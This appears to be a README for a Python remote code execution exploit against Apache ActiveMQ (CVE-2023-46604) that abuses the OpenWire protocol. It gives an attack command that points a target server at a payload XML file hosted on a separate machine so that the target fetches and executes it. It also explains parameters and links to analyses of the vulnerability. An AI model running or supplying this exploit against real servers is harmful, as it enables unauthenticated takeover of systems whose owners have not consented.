
Python-based remote code execution exploit for Apache ActiveMQ CVE-2023-46604, leveraging the OpenWire protocol to deliver XML payloads for unauthenticated RCE.
This project is a python version of the exp rewritten based on the exp from the https://github.com/X1r0z/ActiveMQ-RCE project.
python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616
The -p parameter defaults to the default port of activeMQ. Note that the -x parameter requires the protocol prefix.
Attached here is a diagram of the openwire protocol for clarity.
Below is the packet format of the type.
Throwable
For detailed vulnerability analysis, see the reference articles below.
# openwire协议的分析
https://github.com/X1r0z
https://activemq.apache.org/openwire-version-2-specification
# CVE漏洞原理的分析
https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/